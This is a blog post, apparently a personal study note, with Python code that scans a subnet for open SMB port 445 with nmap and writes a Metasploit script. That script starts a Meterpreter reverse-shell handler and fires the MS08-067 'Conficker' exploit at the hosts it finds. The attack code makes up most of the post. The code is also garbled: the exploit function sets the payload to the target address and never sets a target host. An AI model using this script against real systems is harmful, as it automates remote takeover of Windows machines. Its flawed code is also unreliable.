nmap

import nmap
def findTgts(subNet):
nmScan = nmap.PortScanner()
nmScan.scan(subNet, ‘445’)
tgtHost = []
for host in nmScan.all_hosts():
if nmScan[host].has_tcp(445):
state = nmScan[host][‘tcp’][445][‘state’]
# string ‘tcp’ must be Small. Not ‘TCP’!!!!
print state
if state == ‘open’:
print ‘ Found Target Hosts’ + host
tgtHost.append(host)
return tgtHost

findTgts(‘10.46.145.210-240’)
def setuphandler(configFile, lhost, lport):
configFile.write(‘use exploit/multi/handler\n’)
configFile.write(‘set PAYLOAD ‘ + ‘windows/meterpreter/reverse_tcp\n’)
configFile.write(‘set LPORT ‘+ str(lport)+ ‘\n’)
configFile.write(‘set LHOST ‘+ lhost + ‘\n’)
configFile.write(‘exploit -j -z\n’)
configFile.write(‘set DisablePayloadHandler 1\n’)

def confickerExploit(configFile, tgtHost, lhost, lport):
configFile.write(‘use exploit/windows/smb/ms08_067_netapi\n’)
configFile.write(‘set PAYLOAD ‘ + str(tgtHost) + ‘\n’)
configFile.write(‘set LPORT ‘+ str(lport)+ ‘\n’)
configFile.write(‘set LHOST ‘+ lhost + ‘\n’)
configFile.write(‘exploit -j -z\n’)

Advertisements

Author: SK,Seo

Me! Name: SK Seo

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s